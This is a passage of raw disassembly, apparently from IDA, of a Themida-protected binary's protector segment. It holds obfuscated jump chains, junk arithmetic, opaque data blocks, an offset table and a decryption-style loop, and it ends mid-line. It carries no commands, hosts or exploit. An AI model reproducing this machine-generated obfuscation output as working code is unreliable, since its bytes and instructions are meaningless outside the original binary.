loc_55FBC7: ; CODE XREF: Themida_:00559560j mov esi, 261D6CA4h add ebx, esi pop esi jmp loc_556012 ; --------------------------------------------------------------------------- loc_55FBD4: ; CODE XREF: Themida_:0055969Aj xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- db 29h, 0DDh, 5Bh dd 0FFFA2CE9h, 4C481FFh, 0E9000000h, 0FFFF9DA6h ; --------------------------------------------------------------------------- loc_55FBFC: ; CODE XREF: Themida_:0055B15Aj mov ebp, 0AC6251Bh not ebp neg ebp jmp loc_5596CF ; --------------------------------------------------------------------------- dw 6866h dd 8966093Bh, 0D6E92404h db 0D9h, 2 dup(0FFh) byte_55FC17 db 0ACh ; DATA XREF: Themida_:00553408o dd 0FFE8D3E9h, 243C8BFFh, 0FFCBBCE9h, 242C81FFh, 3A5F79A0h dd 0A0C18159h, 0E93A5F79h, 0FFFF6C14h, 0E9241487h, 0FFFF63E7h dd 230ABD55h, 0EDC12E7Ah, 0A8B85003h, 4848E603h, 2E19E705h dd 58C501D4h, 2C8BEE01h, 4C48324h, 0F227E95Bh, 595AFFFFh dd 8904EC83h, 0CB5240Ch, 0E99EB353h, 0FFFF74D5h, 5BACA7h dd 16E9h, 33133250h, 5BB8B0h, 0FA44B46Bh, 5BACF1h, 0 dd 213h, 2, 1, 6, 0FA44B46Bh, 5 dup(0) dd offset byte_56F90D dd offset byte_573509 dd offset byte_574113 dd offset word_56E9D2 dd offset byte_564545 dd offset dword_568298 dd offset word_5753F6 dd offset byte_5711C1 dd offset byte_569A37 dd offset dword_56D464 dd offset word_573612 dd offset byte_5753A5 dd offset word_570082 dd offset word_56E90A dd offset byte_572075 dd offset byte_57266F dd offset byte_56666D dd offset byte_570E81 dd offset dword_562BA0 dd offset byte_56AB51 dd offset word_56F782 dd offset word_563FA2 dd offset word_563152 dd offset dword_575420 dd offset byte_56628B dd offset byte_566117 dd offset byte_56D69D dd offset byte_5745B5 dd offset byte_572D45 dd offset dword_57549C dd offset byte_563207 dd offset dword_5716E8 dd offset byte_573A7F dd offset word_574F16 dd offset byte_56E96D dd offset dword_56E608 dd offset word_56CBEE dd offset dword_572270 dd offset word_566882 dd offset word_5697F2 dd offset dword_564BD0 dd offset byte_5644C3 dd offset word_560EC2 dd offset byte_5619EF dd offset dword_56E0B0 dd offset byte_5747AF dd offset word_5738FA dd offset aMfsh1 ; "¬fSh1\"" dd offset word_5739E2 dd offset word_56BD36 dd offset byte_56B06D dd offset byte_572DD7 dd offset word_56241E dd offset byte_5726FB dd offset word_560C12 dd offset dword_568764 dd offset dword_574000 dd offset word_570732 dd offset dword_569FB8 dd offset word_56931E dd offset byte_56D3AF dd offset byte_574287 dd offset byte_5713A7 dd offset byte_569A75 dd offset byte_56BC97 dd offset byte_5629A9 dd offset word_560782 dd offset dword_568658 dd offset byte_56D3B7 dd offset dword_561784 dd offset word_57523A dd offset word_567CFE dd offset byte_566AF1 dd offset byte_56DFF9 dd offset dword_5690E8 dd offset byte_563ADF dd offset word_570ADA dd offset byte_568859 dd offset byte_56C233 dd offset dword_569CDC dd offset byte_574AF3 dd offset dword_573D90 dd offset byte_572141 dd offset byte_56EE9F dd offset dword_570A94 dd offset byte_560137 dd offset byte_56D359 dd offset byte_564017 dd offset word_562EA2 dd offset byte_5734A7 dd offset byte_56E5BB dd offset word_574CBE dd offset byte_564B0B dd offset dword_56E7C8 dd offset byte_574FC9 dd offset word_562676 dd offset word_56DEC6 dd offset byte_562ED9 dd offset byte_56D855 dd offset word_560EA2 dd offset byte_567CF5 dd offset dword_56264C dd offset byte_56B6D5 dd offset byte_56DDC5 dd offset dword_565BBC dd offset dword_567CC4 dd offset byte_56CD13 dd offset dword_572EDC dd offset a131Hgb ; "1,$3,$1,$h£B" dd offset word_567D72 dd offset aNhbm ; "hm" dd offset byte_5692D3 dd offset word_5729DA dd offset byte_56AB93 dd offset word_569186 dd offset byte_56BD61 dd offset word_5604FE dd offset byte_5671E1 dd offset byte_565CB7 dd offset byte_567F6F dd offset word_567866 dd offset dword_569CBC dd offset byte_561F05 dd offset word_56CC46 dd offset dword_567C58 dd offset word_56F3B2 dd offset word_564746 dd offset dword_566400 dd offset word_5754DA dd offset byte_57109F dd offset dword_56638C dd offset dword_560844 dd offset word_56306E dd offset byte_566AF9 dd offset word_56749A dd offset dword_56FD38 dd offset word_570C6A dd offset byte_569E1B dd offset word_5680F2 dd offset byte_574503 dd offset byte_569DB5 dd offset aM0HG ; "¬0Øh/G" dd offset byte_5729F9 dd offset dword_569A84 dd offset dword_571890 dd offset byte_570621 dd offset word_56592A dd offset dword_56C474 dd offset byte_56D455 dd offset word_56EF22 dd offset byte_573A8F dd offset byte_56F029 dd offset aMhsy ; "¬h‘Y" dd offset dword_570CE4 dd offset dword_56D414 dd offset dword_56FA44 dd offset byte_5662F9 dd offset word_5747FA dd offset dword_560CAC dd offset word_56CA02 dd offset off_5684A6 dd offset dword_571A50 dd offset byte_574229 dd offset word_572E16 dd offset byte_574A21 dd offset dword_56B1DC dd offset word_5740F2 ; --------------------------------------------------------------------------- loc_55FF58: ; CODE XREF: Themida_:005AB483j ; Themida_:005AD14Aj ... pusha pushf cld call $+5 pop edi sub edi, 6114AF5h mov eax, edi add edi, 611480Dh cmp eax, [edi+2Ch] jnz short loc_55FF76 jmp short loc_55FF89 ; --------------------------------------------------------------------------- loc_55FF76: ; CODE XREF: Themida_:0055FF72j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55FF85 ; --------------------------------------------------------------------------- loc_55FF80: ; CODE XREF: Themida_:0055FF87j add [edi+ecx*4+40h], eax dec ecx loc_55FF85: ; CODE XREF: Themida_:0055FF7Ej or ecx, ecx jnz short loc_55FF80 loc_55FF89: ; CODE XREF: Themida_:0055FF74j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55FF96: ; CODE XREF: Themida_:0055FF9Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55FF96 loc_55FF9F: ; CODE XREF: Themida_:00560317j ; Themida_:005617C4j ... lodsb add al, 92h jmp loc_56FA15 ; --------------------------------------------------------------------------- db 83h dd 0F33104C4h, 2DEB815Eh, 0E9E43A69h, 146A4h, 1BF57h, 0F8010000h dd 0A651355Fh, 0C129789Fh, 4EC8158h, 89000000h, 481240Ch dd 0F95B6824h, 0BA525D7Dh, 5EF93172h, 0E116E9h, 240C8700h dd 6624248Bh, 0E99CC83Bh, 0FFFFFFABh ; --------------------------------------------------------------------------- loc_55FFF4: ; CODE XREF: Themida_:0056E952j pop edx push 7C71h mov [esp], eax loc_55FFFD: ; DATA XREF: Themida_:005839B8o mov eax, 36857CC9h jmp loc_573459 ; --------------------------------------------------------------------------- db 2Dh dd 623660FEh, 48BC301h, 4C48124h, 81000000h, 0FB5339EBh dd 0E9C30141h, 0A73Fh, 0C8BCD89h, 215EE924h db 1, 0 ; --------------------------------------------------------------------------- loc_56002E: ; CODE XREF: Themida_:00574488j mov esi, 6F6058AAh jmp loc_57477E ; --------------------------------------------------------------------------- loc_560038: ; CODE XREF: Themida_:00565055j push esp jmp loc_566F09 ; --------------------------------------------------------------------------- dw 5CE9h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_560043: ; CODE XREF: Themida_:0056AE7Aj xchg esi, [esp] pop esp push eax push ecx mov ecx, 463E4372h mov eax, ecx pop ecx jmp loc_56F333 ; --------------------------------------------------------------------------- loc_560056: ; CODE XREF: Themida_:00572800j push ebp jmp loc_56CB17 ; --------------------------------------------------------------------------- dd 6EC268h, 2B31E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560066: ; CODE XREF: Themida_:00570950j push ebx mov ebx, 1096426Eh add ecx, ebx pop ebx jmp loc_572631 ; --------------------------------------------------------------------------- loc_560074: ; CODE XREF: Themida_:0056DC9Dj mov ebx, [esp] add esp, 4 add esp, 4 shr ecx, 7 push 2617h mov [esp], edx push ebx push ecx mov ecx, 3F822223h sub [esp+4], ecx pop ecx mov edx, [esp] add esp, 4 add edx, 3F822223h push ecx mov ecx, edx push ecx pop eax pop ecx push dword ptr [esp] push dword ptr [esp] jmp loc_56DE34 ; --------------------------------------------------------------------------- db 0B8h dd 5CC35B23h, 6D79FD35h, 35C32D57h, 3B35706Bh, 0F716E153h dd 41DB35D0h, 0C301725Ch, 8124048Bh, 4C4h, 44B56800h, 0C890000h dd 4B924h, 0EB810000h, 516E0BCCh, 0C381CB01h, 516E0BCCh dd 81240C8Bh, 4C4h, 241C8700h, 2D24248Bh, 13510169h, 34FFC389h dd 0C4835824h, 47EB6804h, 80E90000h db 1Ah, 1, 0 ; --------------------------------------------------------------------------- loc_56011F: ; CODE XREF: Themida_:00563650j dec ebp dec ebp sub ebp, 0A8E51A2Ah add ebx, ebp pop ebp sub ecx, 1A65219Ch add ecx, ebx jmp loc_56FAFD ; --------------------------------------------------------------------------- byte_560137 db 66h ; DATA XREF: Themida_:0055FE10o dd 68240C8Bh, 952h, 1242E9h, 0FDE58100h, 575E0A77h, 6A72BABFh dd 0D087E93Dh, 22B40000h, 0EBB4E9h, 0C686600h, 0C89665Ah dd 68E95224h, 1000123h, 0C335FF9h, 240C3124h, 5C240C33h dd 0FFFE22E9h, 4EE81FFh, 87000000h, 0E95C2434h, 12380h ; --------------------------------------------------------------------------- loc_56018C: ; CODE XREF: Themida_:00572EF4j mov edx, ebp pop ebp sub edx, ecx push edx jmp loc_56B4FB ; --------------------------------------------------------------------------- loc_560197: ; CODE XREF: Themida_:00574D61j sub al, ch add al, 7Ch pop ecx push edx jmp loc_567C91 ; --------------------------------------------------------------------------- dw 0E95Ch dd 14040h ; --------------------------------------------------------------------------- loc_5601A8: ; CODE XREF: Themida_:0056CA1Bj mov [esp], ecx jmp loc_574A64 ; --------------------------------------------------------------------------- aS_5 db '[é%(',0 align 2 dw 0EFC1h dd 0EEE94704h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5601BF: ; CODE XREF: Themida_:0056EF35j sub edx, esi add edx, 679C747Ch xchg edx, esi pop edx push ecx mov ecx, 5FEF8399h sub esi, 15A27958h add esi, ecx add esi, 15A27958h mov ecx, [esp] jmp loc_5672B7 ; --------------------------------------------------------------------------- loc_5601E6: ; CODE XREF: Themida_:0057164Dj xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56504F ; --------------------------------------------------------------------------- db 5Ah dd 8B243487h, 14E92424h, 580000D6h, 104F68h, 24048900h dd 0DB56E9h, 4C48300h, 34FFF001h, 2434FF24h, 144EFE9h dd 0FD6DE900h, 0BF57FFFFh, 25371A82h, 4DE5B951h, 0E9816737h dd 5D195BB2h, 0E9814949h, 0C8E5A84Ah, 5159CF09h, 1F5DCAB9h dd 81D9F75Dh, 7342FBE9h, 0A1E1815Bh, 0E9647D28h, 453Dh ; --------------------------------------------------------------------------- loc_560268: ; CODE XREF: Themida_:00570014j add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_56EC70 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 24256852h, 148B66ABh, 55E95624h, 8100002Fh dd 8C4A0FEEh, 6C92E976h, 8B590000h, 0C483240Ch, 0B34CE904h dd 0C8010000h, 40559h, 51E90000h, 0BA000121h, 13E61D14h dd 5537C281h, 68565763h, 6B49724Fh, 8124348Bh, 4C4h, 5EF23100h dd 8904EC83h, 22BA2414h, 2970B560h, 17FE9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5602DE: ; CODE XREF: Themida_:005623E2j pop esp push ebx push esi mov esi, 1AEC4EEDh add esi, 0E513B114h mov ebx, esi pop esi add esi, ebx pop ebx push 3DB7h jmp loc_574499 ; --------------------------------------------------------------------------- aAJaqSnq db '€ÏJ€ï/éï',0 db 0 ; --------------------------------------------------------------------------- loc_560307: ; CODE XREF: Themida_:0056A060j mov edx, [esp] add esp, 4 xchg edi, [esp] pop esp mov [esp], eax jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_56031C: ; CODE XREF: Themida_:00564F6Fj sub ecx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp push ecx mov ecx, 4874678Fh push 6305h jmp loc_56EE02 ; --------------------------------------------------------------------------- db 81h dd 9C1D8CEBh, 5BDA89B3h, 875AD601h, 248B2434h, 4570E924h dd 0E8290000h, 60BD055Dh, 0D8014600h, 60BD2Dh, 22D80546h dd 570544B8h, 0E959E230h, 0BFAEh ; --------------------------------------------------------------------------- loc_560374: ; CODE XREF: Themida_:00565039j add dh, 43h xor dh, 73h jmp loc_566196 ; --------------------------------------------------------------------------- aXsz db 'XézÁ',0 dd 24348900h, 6D6E72BEh, 0E6D14671h, 0B9514E4Eh, 5DD45CA1h dd 13FA6E9h, 0E9D10100h, 0F390h ; --------------------------------------------------------------------------- loc_5603A4: ; CODE XREF: Themida_:005751A4j sub ebp, 2F22568h add esi, ebp pop ebp push edx mov edx, 4 sub esi, 6A3C18A1h sub esi, edx add esi, 6A3C18A1h pop edx xchg esi, [esp] jmp loc_56D3F0 ; --------------------------------------------------------------------------- a0S_u db '0Ðé_ž',0 dd 4DE95E00h, 81000090h, 361397C3h, 81F3013Bh, 361397EBh dd 5EE95E3Bh, 5B000137h, 33E9CB01h, 2D00000Dh, 24F96C1Ah dd 0D75CB82Dh, 0FA7DE973h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560402: ; CODE XREF: Themida_:0056E3DFj sub ebx, 2 xchg ebx, [esp] jmp loc_56F9A9 ; --------------------------------------------------------------------------- db 0BFh, 40h, 8 dd 0CF812CB7h, 10350EAh, 5EF78147h, 0E943D728h, 0E1B1h dd 4C681h, 34330000h, 4588E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560432: ; CODE XREF: Themida_:00565AD8j push dword ptr [esp+4] pop edi jmp loc_560AEE ; --------------------------------------------------------------------------- dd 5914DCBDh, 0F53CE90Eh, 0F1800000h, 23D0E9D8h, 0C4830001h dd 0F0E95504h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560457: ; CODE XREF: Themida_:00566CE8j push ebp jmp loc_56BA06 ; --------------------------------------------------------------------------- db 5Ah, 1, 0D6h dd 6022C681h, 148B70B5h, 0C7E95224h, 0C100013Eh, 0C68108EEh dd 30B85CF0h, 0C374E9h db 0 ; --------------------------------------------------------------------------- loc_56047D: ; CODE XREF: Themida_:0056BBC1j mov esp, [esp] push 748Ch mov [esp], ecx push 4E24h push esp pop dword ptr [esp] sub esp, 4 mov [esp], ebx jmp loc_56FD54 ; --------------------------------------------------------------------------- loc_56049F: ; CODE XREF: Themida_:0056545Fj mov [esp], ecx mov ecx, 28h add ecx, edi push dword ptr [ecx] mov eax, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ecx push edx jmp loc_56EA4B ; --------------------------------------------------------------------------- dw 0D1F7h dd 7540F181h, 0C9814C55h, 6820652Fh, 1456E9h, 0C7FE5B00h dd 68h, 243C2800h, 55243C8Ah, 4EE95D54h db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5604E7: ; CODE XREF: Themida_:0056B116j sub ebp, 578633E3h jmp loc_565726 ; --------------------------------------------------------------------------- dw 8F5Dh dd 248B2404h, 459CE924h db 1, 0 word_5604FE dw 0C8Bh ; DATA XREF: Themida_:0055FE8Co aHbw db '$hBW',0 align 2 dw 0C89h dd 4B6BE924h, 0E9500001h, 1BE8h ; --------------------------------------------------------------------------- loc_560514: ; CODE XREF: Themida_:00562029j pop esp mov [esp], ebx push 6AE5h mov [esp], ecx jmp loc_56738C ; --------------------------------------------------------------------------- db 81h, 0F5h, 27h aDmBXKs db 'DM[Åx¸Âªé',9,'[',0 align 2 dw 0BE56h dd 353119F8h, 19F6EE81h, 0F5013531h, 74FF555Eh, 0A3E90424h dd 87FFFFFFh db 4, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi jmp loc_560C36 ; --------------------------------------------------------------------------- loc_560562: ; CODE XREF: Themida_:0056F811j mov ecx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_565B36 ; --------------------------------------------------------------------------- loc_560576: ; CODE XREF: Themida_:0056DE3Fj push edi push ebx push edi mov edi, 4 mov ebx, edi mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edi, ebx pop ebx mov ecx, edi jmp loc_5629B3 ; --------------------------------------------------------------------------- loc_56059D: ; CODE XREF: Themida_:0056EB81j mov ecx, esp jmp loc_570F0F ; --------------------------------------------------------------------------- dd 24048F58h, 8924248Bh, 0E9512424h, 1D37h, 0E95EF001h dd 0B368h ; --------------------------------------------------------------------------- loc_5605BC: ; CODE XREF: Themida_:00563039j push ebx mov ebx, esp sub esp, 4 mov [esp], ebp jmp loc_56BF6A ; --------------------------------------------------------------------------- loc_5605CD: ; CODE XREF: Themida_:005692CEj push 5293h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xor eax, [esp] jmp loc_57125C ; --------------------------------------------------------------------------- loc_5605EC: ; CODE XREF: Themida_:0056CF37j pop edi mov edi, ecx pop ecx jmp loc_56F4D7 ; --------------------------------------------------------------------------- loc_5605F5: ; CODE XREF: Themida_:00565721j mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_56E385 ; --------------------------------------------------------------------------- loc_560609: ; CODE XREF: Themida_:0056AFD0j pop eax jmp loc_56ECA9 ; --------------------------------------------------------------------------- db 81h dd 0BF6004F1h, 59CB0173h, 8B241C87h, 54522424h, 4C2815Ah dd 81000000h, 4C2h, 24148700h, 1287E95Ch, 0C8300000h, 0FF2434FFh dd 7CE92434h, 5C00008Ch, 0B60FC330h, 435E9C0h, 0C1010001h dd 35D9E9h, 4C48100h, 50000000h, 837412B8h, 4E0529h, 250502DFh dd 0E94A622Eh, 0FFFFF997h, 81E28952h, 4C2h, 4C28300h, 0E9241487h dd 12582h ; --------------------------------------------------------------------------- loc_560684: ; CODE XREF: Themida_:00566468j pop esp mov [esp], edx jmp loc_56C8CE ; --------------------------------------------------------------------------- db 57h, 0FFh, 74h dd 8F5F0424h, 0C6E92404h, 35000050h, 64CA0CA3h, 0FD11E9h dd 242C8100h, 234E325Dh, 5DC2815Ah, 5D234E32h, 90C5EA81h dd 0EE8170CFh, 2A16773Ch, 0C681D629h, 2A16773Ch, 5A2434FFh dd 4C481h, 692D0000h, 11E3900h, 6905F0h, 0D8E91E39h, 550000EDh dd 6F30E9h db 0 ; --------------------------------------------------------------------------- loc_5606E9: ; CODE XREF: Themida_:0056AFB0j sub ch, 61h or dl, ch push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_573569 ; --------------------------------------------------------------------------- loc_560703: ; CODE XREF: Themida_:00572778j sub esi, ebx jmp loc_570EE1 ; --------------------------------------------------------------------------- dw 0DDF7h dd 488BF581h, 0EF8991C9h, 78E7815Dh, 53204D1Bh, 72354CBBh dd 0BEB810Ah, 29F27BCEh, 8459E9DFh, 0E0680000h, 0E900002Fh dd 1E01h, 34FFE328h, 5E6DE924h, 0B1B80000h, 893A6615h dd 0E95358C2h, 126FCh ; --------------------------------------------------------------------------- loc_560750: ; CODE XREF: Themida_:0056AC91j push dword ptr [edi+eax*4] push 7F70h mov [esp], esi jmp loc_56932E ; --------------------------------------------------------------------------- dd 7EE18166h, 4CD0E950h, 9F2C0001h, 0B753F000h, 5BF8009Fh dd 28C82C5Ah, 706866D8h, 5800E938h db 2 dup(0) word_560782 dw 28Fh ; DATA XREF: Themida_:0055FDC4o dd 78EEE9h db 0 ; --------------------------------------------------------------------------- loc_560789: ; CODE XREF: Themida_:0056A5C6j push esp jmp loc_570005 ; --------------------------------------------------------------------------- loc_56078F: ; CODE XREF: Themida_:00570609j mov ebp, 63D61E38h sub ebp, ebx pop ebx sub edi, 5C710A8Eh add edi, ebp add edi, 5C710A8Eh jmp loc_56E998 ; --------------------------------------------------------------------------- dw 34FFh aYhp db '$Yh¯|',0 dw 0E900h dd 11D03h, 0FAE9EE01h, 31000034h, 0EB815DEAh, 77145E64h dd 0C381D329h, 77145E64h, 8BEB815Ah, 132DA4Eh, 59E951C3h dd 0B3000040h, 5BD9880Eh, 8D74E9h, 53D0F700h, 87585B50h dd 53D6F7F3h, 4EC81h, 34890000h, 0E95E5B24h, 12DD6h, 68242C8Bh dd 622Dh, 51240C89h, 0BA52E189h, 4, 0A56AE9h, 0A3B95100h dd 2141B470h, 0B95159CDh, 14407E80h, 2414F751h, 0BA5259h dd 81000000h, 3E1462C2h, 0E9CA296Ch, 64CAh dword_560844 dd 46C005ADh, 0BB2D1A44h, 12C2D63h, 4EC83D8h, 68241489h ; DATA XREF: Themida_:0055FEC8o dd 2C2D63BBh, 5AD0015Ah, 815D5455h, 4C5h, 4ED8300h, 31242C33h dd 2C33242Ch, 3DE95C24h, 81000110h, 3F4E94C5h, 5DE8299Ah dd 2474FF50h, 0AFE95804h, 8900002Bh, 682404h, 0E9000004h dd 102Bh, 68242C89h, 23Ah, 5D241489h, 8124148Bh, 4C4h dd 0FFBD5500h, 81FFFFFFh, 735B14C2h, 81EA0132h, 735B14EAh dd 2434FF32h, 0E789575Dh, 4C781h, 0C7830000h, 0AAD0E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5608DA: ; CODE XREF: Themida_:0056F182j mov [esp], edi push edx jmp loc_563875 ; --------------------------------------------------------------------------- db 87h dd 0F5E9240Ch, 0C0000095h, 0E7C008E7h, 7786E903h, 815D0000h dd 4C4h, 4C28300h, 5C241487h, 0FF2434FFh, 34FF2434h, 254AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560912: ; CODE XREF: Themida_:0056D8EFj mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_56C283 ; --------------------------------------------------------------------------- loc_560937: ; CODE XREF: Themida_:0056AF4Dj mov [esp], ebp sub esp, 4 jmp loc_5735FF ; --------------------------------------------------------------------------- db 81h, 0F2h, 8Eh dd 0E90AA708h, 2C05h ; --------------------------------------------------------------------------- loc_560950: ; CODE XREF: Themida_:0056C430j mov edx, [esp] push 4DC5h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx push edx mov dl, 39h xor dl, 0ABh neg dl or dl, 36h dec dl push dx not byte ptr [esp] mov dx, [esp] jmp loc_565693 ; --------------------------------------------------------------------------- loc_5609A1: ; CODE XREF: Themida_:0056FB54j push ebx mov ebx, 433C4466h jmp loc_573B74 ; --------------------------------------------------------------------------- loc_5609AC: ; CODE XREF: Themida_:0056F0E6j pop edx push dword ptr [esp] jmp loc_5641A4 ; --------------------------------------------------------------------------- loc_5609B5: ; CODE XREF: Themida_:0056C0A6j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp not dword ptr [esp] pop ebp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_570305 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 2434FF04h, 0C118E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5609EA: ; CODE XREF: Themida_:005740A7j push 764Ch mov [esp], ebx push esp pop ebx jmp loc_56EC21 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 86E90000h db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A03: ; CODE XREF: Themida_:00573FA6j pop esi jmp loc_567724 ; --------------------------------------------------------------------------- db 58h, 57h, 0F7h dd 0C15F2414h, 87E903EFh, 0BF000072h, 55D7554Ch, 9B8E781h dd 0EF8102D0h, 601E2366h, 0D1F7CF87h, 0D7F7CF87h, 0D8E4E9h dd 4C48300h, 8904EC83h, 6FE9241Ch, 1000067h, 0C1815FF9h dd 4, 5C240C87h, 0E9240487h, 8F22h, 0DFE95152h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A5F: ; CODE XREF: Themida_:00560DF3j add eax, 29DB4243h jmp loc_56260C ; --------------------------------------------------------------------------- loc_560A69: ; CODE XREF: Themida_:0057285Fj xchg ebx, [esp] pop esp sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push 7BF81C5Bh mov edx, [esp] jmp loc_56B3B6 ; --------------------------------------------------------------------------- dd 52D42BAh, 19C28156h, 31C6914Ch, 0F5815AD5h, 4074044Dh dd 2C8BE901h, 4C48124h, 0C1000000h, 0BF5702E9h, 22575CCh dd 3C8BF929h, 4C48124h, 81000000h, 335301E9h, 0F1814171h dd 0BEB718C2h, 3865EB81h, 0CB2965ECh, 3865C381h, 875965ECh dd 248B241Ch, 24148924h, 1168h, 6062E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560AE6: ; CODE XREF: Themida_:0056AD71j shl eax, 8 jmp loc_56AA20 ; --------------------------------------------------------------------------- loc_560AEE: ; CODE XREF: Themida_:00560437j pop dword ptr [esp] pop esp jmp loc_5640F2 ; --------------------------------------------------------------------------- loc_560AF7: ; CODE XREF: Themida_:00570F72j mov [esp], esi push 7E360679h jmp loc_57233B ; --------------------------------------------------------------------------- loc_560B04: ; CODE XREF: Themida_:0056A188j neg ebx sub ebx, 6BA02385h add ebx, 0F3834224h add eax, ebx jmp loc_5664C1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0A1F1E9h db 0 ; --------------------------------------------------------------------------- loc_560B21: ; CODE XREF: Themida_:00564FFBj mov ebx, 2CCF5EBDh mov ebp, 151A4FF0h jmp loc_56508C ; --------------------------------------------------------------------------- loc_560B30: ; CODE XREF: Themida_:0056681Ej sub dword ptr [esp+4], 2E890F03h sub [esp+4], ecx add dword ptr [esp+4], 2E890F03h mov ecx, [esp] add esp, 4 mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5729B4 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0C3h dd 140487Ch, 79E95EF7h db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_560B6F: ; CODE XREF: Themida_:0056ED0Cj and eax, edx mov edx, [esp] add esp, 4 shr eax, 10h xor eax, ecx jmp loc_56596B ; --------------------------------------------------------------------------- dd 1EF815Fh, 0C1665E46h, 0FCE905E7h, 100010Fh, 4676E9DFh dd 0E95C0001h, 0FD85h, 0EE81D629h, 51B715B1h, 2434875Ah dd 0E5D6E9h, 4C48300h, 0A125E9h db 0 ; --------------------------------------------------------------------------- loc_560BB9: ; CODE XREF: Themida_:00569C6Ej xchg ebx, [esp] push dword ptr [esp] mov eax, [esp] jmp loc_562D37 ; --------------------------------------------------------------------------- db 81h dd 853CA2CDh, 0F5814D2Fh, 2FFD3FB9h, 0E95DEA01h, 135EDh dd 0E9C0B60Fh, 0C362h, 0CDFBC181h, 0CE01F593h, 4DBA5259h dd 813DC422h, 216FC7E2h, 7D34E977h, 875A0000h, 8F5C241Ch dd 248B2404h, 2424D324h, 0F38DE99Ch db 2 dup(0FFh) word_560C12 dw 8B66h ; DATA XREF: Themida_:0055FD94o dd 0BF682404h, 8900006Bh, 8953243Ch, 945E9E3h, 0D9310001h dd 13A72E9h db 0 ; --------------------------------------------------------------------------- loc_560C2D: ; CODE XREF: Themida_:00571D89j pop ebx push eax push esp pop eax jmp loc_56147B ; --------------------------------------------------------------------------- loc_560C36: ; CODE XREF: Themida_:0056055Dj mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 48C9CD95h xor eax, ecx mov ecx, [esp] jmp loc_5687A3 ; --------------------------------------------------------------------------- dd 240C8B66h, 1744E9h, 50EDD100h, 0A76F35B8h, 58C50120h dd 0BF8ED81h, 0EC81083Fh, 4, 0E9240489h, 0D7C7h ; --------------------------------------------------------------------------- loc_560C7C: ; CODE XREF: Themida_:00574C35j add esi, 4 xchg esi, [esp] pop esp jmp loc_564467 ; --------------------------------------------------------------------------- db 5Bh dd 0E78E9h db 0 ; --------------------------------------------------------------------------- loc_560C91: ; CODE XREF: Themida_:00574787j or esi, 19BE3A0Dh neg esi not esi add esi, 0E601C1F8h add ebp, esi pop esi xchg ebp, [esp] jmp loc_57457B ; --------------------------------------------------------------------------- dword_560CAC dd 240C8B66h, 1E3DE9h, 4C48300h, 7902E952h, 0B4500000h ; DATA XREF: Themida_:0055FF34o dd 88B15137h, 4EC81h, 1C890000h, 2861B724h, 241C8BF9h dd 4C481h, 0D9F60000h, 0A934E9h db 0 ; --------------------------------------------------------------------------- loc_560CE1: ; CODE XREF: Themida_:0056BBAEj mov edx, 36163Ah push ebp mov ebp, 1D2F056Dh jmp loc_56791A ; --------------------------------------------------------------------------- loc_560CF1: ; CODE XREF: Themida_:00565506j sub esp, 4 mov [esp], edx push 5471h mov [esp], ecx mov ecx, 657717C1h mov edx, 657716C1h xor edx, ecx mov ecx, [esp] jmp loc_573E7C ; --------------------------------------------------------------------------- loc_560D16: ; CODE XREF: Themida_:005745B0j pop edx push edi jmp loc_570A1B ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 9A5487EFh, 2434FF5Dh, 4C4835Dh, 21E7E9h, 0EDBB5300h dd 81636235h, 0DD4972EDh, 57DD0132h, 4359FBBFh, 81DFF71Bh dd 1EFh, 76F78100h, 1D661EFh, 0AAE95FFDh, 5F0000FDh, 4C781h dd 0C1E90000h, 89000059h, 0B1B82404h, 256CE405h, 2C451168h dd 15302540h, 0FDE938F8h, 